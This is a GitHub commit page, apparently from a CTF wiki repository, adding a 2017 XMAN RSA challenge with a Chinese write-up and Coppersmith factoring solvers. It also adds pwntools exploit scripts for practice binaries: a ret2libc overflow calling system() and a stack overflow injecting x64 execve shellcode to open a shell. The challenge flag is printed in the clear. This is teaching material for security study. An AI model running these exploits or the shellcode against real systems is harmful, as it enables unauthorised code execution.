Skip to content

Commit c23345a

Browse files
authored
Merge pull request #4 from iromise/master
add 2017 xman 奇怪的RSA
2 parents 198fa53 + 39f5c62 commit c23345a

File tree

38 files changed

+650
-37
lines changed

38 files changed

+650
-37
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
177c83be810946f53b7c6ccb045e722a6d45b491e71ac1babfbff780d7d5bd177f02047e9e48573dc5a8ac9c046c9312df1dc8ed5d1f6f26b782cfe702cbdcd8436b836237b9232f7f51193fdb6111684f1e7960cccacf4ab67266a2e352b7f762610a08dbfefacc11c732750f2308ef1a4fc07c70a1b159f1cc77c6066ffc02431253afa0e5dc3e89882043cd1361a
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
-----BEGIN PUBLIC KEY-----
2+
MIGuMA0GCSqGSIb3DQEBAQUAA4GcADCBmAKBkAGBdWVaTkcE7NEdi2G9ff4JLfVy
3+
nwbgbFZAwVsmJBsuRCD/uKefsPKF2gSwTw8/OSqv9ZwRZFrsvUfYT6/LloXRVqwn
4+
VDTlGr0oJ632In+0mRNW5gHmlzlrTAOWw9LXwSZNWXzpimARIqZjeyWcgnQ92DH4
5+
bmpQ4QFwU0bakA+vp0Nmy3A9K9rMjR/blC/yRQIDAQAB
6+
-----END PUBLIC KEY-----
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
import gmpy2
2+
import random
3+
from Crypto.Util.number import getPrime
4+
from Crypto.PublicKey import RSA
5+
6+
7+
def get_part1(number):
8+
res = 1
9+
for i in range(2, number):
10+
j = 2
11+
flag = True
12+
while j * j <= i:
13+
if i % j == 0:
14+
flag = False
15+
break
16+
j += 1
17+
if flag:
18+
res *= i
19+
tmp = random.randint(1000, 9999)
20+
return res + tmp
21+
22+
23+
def generate_public_key():
24+
part1 = get_part1(100) << 512
25+
part2 = random.randrange(1, 2**256)
26+
p = part1 + part2
27+
while not gmpy2.is_prime(p):
28+
p = part1 + random.randrange(1, 2**256)
29+
q = getPrime(512)
30+
n = p * q
31+
e = 0x10001
32+
key = RSA.construct((long(n), long(e)))
33+
key = key.exportKey()
34+
with open('public.pem', 'w') as f:
35+
f.write(key)
36+
37+
38+
def encrypt():
39+
flag = open('./flag.txt').read().strip('\n')
40+
flag = flag.encode('hex')
41+
flag = int(flag, 16)
42+
with open('./public.pem') as f:
43+
key = RSA.importKey(f)
44+
enc = gmpy2.powmod(flag, key.e, key.n)
45+
with open('flag.enc', 'w') as f:
46+
f.write(hex(enc)[2:])
47+
48+
49+
generate_public_key()
50+
encrypt()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
2+
from sage.all import *
3+
4+
n=359793065708835171342012982403389538721788606457645856715487227577194526064798303818572407032975833936178199713595331846778102841997912700946265231285246024230663051859876335242072374004279978008125992004515027281010928770488746000301666740722019469328342218484337725625411326416836525568083940937252398788555611188099231630860828419152057201221L
5+
6+
e = 65537L
7+
8+
part1 = 2305567963945518424753102147331756070
9+
10+
def high_bits_known(pbar):
11+
beta = 0.3
12+
kbits = 256
13+
PR.<x> = PolynomialRing(Zmod(n))
14+
f = x + pbar
15+
x0 = f.small_roots(X=2^kbits, beta=beta)
16+
return x0
17+
18+
for x in xrange(1000, 9999):
19+
if x % 100 == 0:
20+
print 'try ',x
21+
tmp = part1+x
22+
pbar = tmp*(2**512)
23+
p = high_bits_known(pbar)
24+
if len(p) > 0:
25+
p = ZZ(p[0] + pbar)
26+
if n % p == 0:
27+
print "!!!Found!!!"
28+
print "p: ",p
29+
print "q: ",n/p
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
177c83be810946f53b7c6ccb045e722a6d45b491e71ac1babfbff780d7d5bd177f02047e9e48573dc5a8ac9c046c9312df1dc8ed5d1f6f26b782cfe702cbdcd8436b836237b9232f7f51193fdb6111684f1e7960cccacf4ab67266a2e352b7f762610a08dbfefacc11c732750f2308ef1a4fc07c70a1b159f1cc77c6066ffc02431253afa0e5dc3e89882043cd1361a
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
xman{Have_fun_with_RSA!}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
-----BEGIN PUBLIC KEY-----
2+
MIGuMA0GCSqGSIb3DQEBAQUAA4GcADCBmAKBkAGBdWVaTkcE7NEdi2G9ff4JLfVy
3+
nwbgbFZAwVsmJBsuRCD/uKefsPKF2gSwTw8/OSqv9ZwRZFrsvUfYT6/LloXRVqwn
4+
VDTlGr0oJ632In+0mRNW5gHmlzlrTAOWw9LXwSZNWXzpimARIqZjeyWcgnQ92DH4
5+
bmpQ4QFwU0bakA+vp0Nmy3A9K9rMjR/blC/yRQIDAQAB
6+
-----END PUBLIC KEY-----
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
# 分析
2+
3+
首先,简单分析一下程序,可以知道程序利用generate_public_key函数生成RSA公钥,利用encrypt函数加密flag,最后将flag以十六进制形式输入到flag.enc文件中。这里我们来仔细看下生成公钥的函数。
4+
5+
```python
6+
def generate_public_key():
7+
part1 = get_part1(100) << 512
8+
part2 = random.randrange(1, 2**256)
9+
p = part1 + part2
10+
while not gmpy2.is_prime(p):
11+
p = part1 + random.randrange(1, 2**256)
12+
q = getPrime(512)
13+
n = p * q
14+
e = 0x10001
15+
key = RSA.construct((long(n), long(e)))
16+
key = key.exportKey()
17+
with open('public.pem', 'w') as f:
18+
f.write(key)
19+
```
20+
21+
可以看出,p是由两部分组成的,其中一部分是由get_part1函数左移512位得到。
22+
23+
```python
24+
def get_part1(number):
25+
res = 1
26+
for i in range(2, number):
27+
j = 2
28+
flag = True
29+
while j * j <= i:
30+
if i % j == 0:
31+
flag = False
32+
break
33+
j += 1
34+
if flag:
35+
res *= i
36+
tmp = random.randint(1000, 9999)
37+
return res + tmp
38+
```
39+
40+
而get_part1函数其实就是讲100以内的素数乘起来然后再加上(1000,9999)的一个随机值。如果我们假设100以内的素数的乘积为a,那么get_part1的结果就是a+random(1000,9999)。
41+
42+
此后这个数会被移位,然后再加上了(1, 2**256)范围内的随机数。乍一看可能觉得不能做,,,但其实这道题是[Factoring with High Bits Known](https://ctf-wiki.github.io/ctf-wiki/#/crypto/asymmetric/rsa/rsa_coppersmith_attack?id=factoring-with-high-bits-known) 攻击,我们虽然说p的高位有一小部分是随机数,但是这部分随机数太小了,我们可以暴力枚举来得到结果。
43+
44+
# 代码
45+
46+
首先,我们先得到n和e,以及p的高位中100以内的素数的乘积
47+
48+
```python
49+
import gmpy2
50+
import random
51+
from Crypto.Util.number import getPrime
52+
from Crypto.PublicKey import RSA
53+
54+
55+
def get_part1(number):
56+
res = 1
57+
for i in range(2, number):
58+
j = 2
59+
flag = True
60+
while j * j <= i:
61+
if i % j == 0:
62+
flag = False
63+
break
64+
j += 1
65+
if flag:
66+
res *= i
67+
print res
68+
69+
70+
def get_n_e():
71+
with open('./public.pem') as f:
72+
key = RSA.importKey(f)
73+
print 'n: ', key.n
74+
print 'e: ', key.e
75+
return key.n, key.e
76+
```
77+
78+
然后我们可以直接编写sage代码得到p和q。
79+
80+
```python
81+
82+
from sage.all import *
83+
84+
n=359793065708835171342012982403389538721788606457645856715487227577194526064798303818572407032975833936178199713595331846778102841997912700946265231285246024230663051859876335242072374004279978008125992004515027281010928770488746000301666740722019469328342218484337725625411326416836525568083940937252398788555611188099231630860828419152057201221L
85+
86+
e = 65537L
87+
88+
part1 = 2305567963945518424753102147331756070
89+
90+
def high_bits_known(pbar):
91+
beta = 0.3
92+
kbits = 256
93+
PR.<x> = PolynomialRing(Zmod(n))
94+
f = x + pbar
95+
x0 = f.small_roots(X=2^kbits, beta=beta)
96+
return x0
97+
98+
for x in xrange(1000, 9999):
99+
if x % 100 == 0:
100+
print 'try ',x
101+
tmp = part1+x
102+
pbar = tmp*(2**512)
103+
p = high_bits_known(pbar)
104+
if len(p) > 0:
105+
p = ZZ(p[0] + pbar)
106+
if n % p == 0:
107+
print "!!!Found!!!"
108+
print "p: ",p
109+
print "q: ",n/p
110+
```
111+
112+
下面,我们就可以对密文进行解密得到结果了
113+
114+
```python
115+
def get_enc():
116+
with open('./flag.enc') as f:
117+
return int(f.read(), 16)
118+
119+
120+
#get_part1(100)
121+
n, e = get_n_e()
122+
enc = get_enc()
123+
p = 30912612430010329735106068745932328064975005191230456661938177099292739592747102255580455176474604978442049097442980075369740910342136464209806039144344258921430018016151786358282584701369623
124+
q = 11639037836852113089565519736106317677116681989454609894239129622475886599564754669490030026817850279221814205531802378242845562976929460565098348616301827
125+
phin = (p - 1) * (q - 1)
126+
d = gmpy2.invert(e, phin)
127+
flag = gmpy2.powmod(enc, d, n)
128+
print hex(flag)[2:].decode('hex')
129+
```
130+
131+
具体更加详细的代码可以参考writeup.py以及exp.sage。
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
import gmpy2
2+
import random
3+
from Crypto.Util.number import getPrime
4+
from Crypto.PublicKey import RSA
5+
6+
7+
def get_part1(number):
8+
res = 1
9+
for i in range(2, number):
10+
j = 2
11+
flag = True
12+
while j * j <= i:
13+
if i % j == 0:
14+
flag = False
15+
break
16+
j += 1
17+
if flag:
18+
res *= i
19+
print res
20+
21+
22+
def get_n_e():
23+
with open('./public.pem') as f:
24+
key = RSA.importKey(f)
25+
print 'n: ', key.n
26+
print 'e: ', key.e
27+
return key.n, key.e
28+
29+
30+
def get_enc():
31+
with open('./flag.enc') as f:
32+
return int(f.read(), 16)
33+
34+
35+
#get_part1(100)
36+
n, e = get_n_e()
37+
enc = get_enc()
38+
p = 30912612430010329735106068745932328064975005191230456661938177099292739592747102255580455176474604978442049097442980075369740910342136464209806039144344258921430018016151786358282584701369623
39+
q = 11639037836852113089565519736106317677116681989454609894239129622475886599564754669490030026817850279221814205531802378242845562976929460565098348616301827
40+
phin = (p - 1) * (q - 1)
41+
d = gmpy2.invert(e, phin)
42+
flag = gmpy2.powmod(enc, d, n)
43+
print hex(flag)[2:].decode('hex')
-512 Bytes
Binary file not shown.

crypto/asymmetric/rsa/Extremely hard RSA/pubkey.pem

-14
This file was deleted.

crypto/asymmetric/rsa/hard RSA/flag.enc

-1
This file was deleted.

crypto/asymmetric/rsa/hard RSA/pubkey.pem

-4
This file was deleted.

crypto/classcial/monoalphabetic/TWCTF2016-super_express/encrypted

-1
This file was deleted.

crypto/classcial/monoalphabetic/TWCTF2016-super_express/problem.py

-17
This file was deleted.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
from pwn import *
2+
from LibcSearcher import *
3+
ret2libc = ELF('./ret2libc')
4+
if args['REMOTE']:
5+
sh = remote('140.113.209.24', 11002)
6+
libc = ELF('./libc.so.6')
7+
else:
8+
sh = process('./ret2libc')
9+
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
10+
system_offest = libc.symbols['system']
11+
puts_offest = libc.symbols['puts']
12+
sh.recvuntil('is ')
13+
sh_addr = int(sh.recvuntil('\n', drop=True), 16)
14+
print hex(sh_addr)
15+
sh.recvuntil('is ')
16+
puts_addr = int(sh.recvuntil('\n', drop=True), 16)
17+
print hex(puts_addr)
18+
system_addr = puts_addr - puts_offest + system_offest
19+
payload = flat([0x1c * 'a', 'bbbb', system_addr, 'bbbb', sh_addr])
20+
#gdb.attach(sh)
21+
sh.sendline(payload)
22+
sh.interactive()
Binary file not shown.
Binary file not shown.
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
shellcode:shellcode.c
2+
gcc -z execstack -fno-stack-protector -o shellcode shellcode.c
3+
clean:
4+
rm ./shellcode
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
from pwn import *
2+
from LibcSearcher import *
3+
code = ELF('./shellcode')
4+
if args['REMOTE']:
5+
sh = remote(111, 111)
6+
else:
7+
sh = process('./shellcode')
8+
9+
# 23 bytes
10+
# https://www.exploit-db.com/exploits/36858/
11+
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
12+
sh.recvuntil('[')
13+
buf_addr = sh.recvuntil(']', drop=True)
14+
buf_addr = int(buf_addr, 16)
15+
payload = 'b' * 24 + p64(buf_addr + 32) + shellcode_x64
16+
print payload
17+
gdb.attach(sh)
18+
sh.sendline(payload)
19+
sh.interactive()

0 commit comments

Comments
 (0)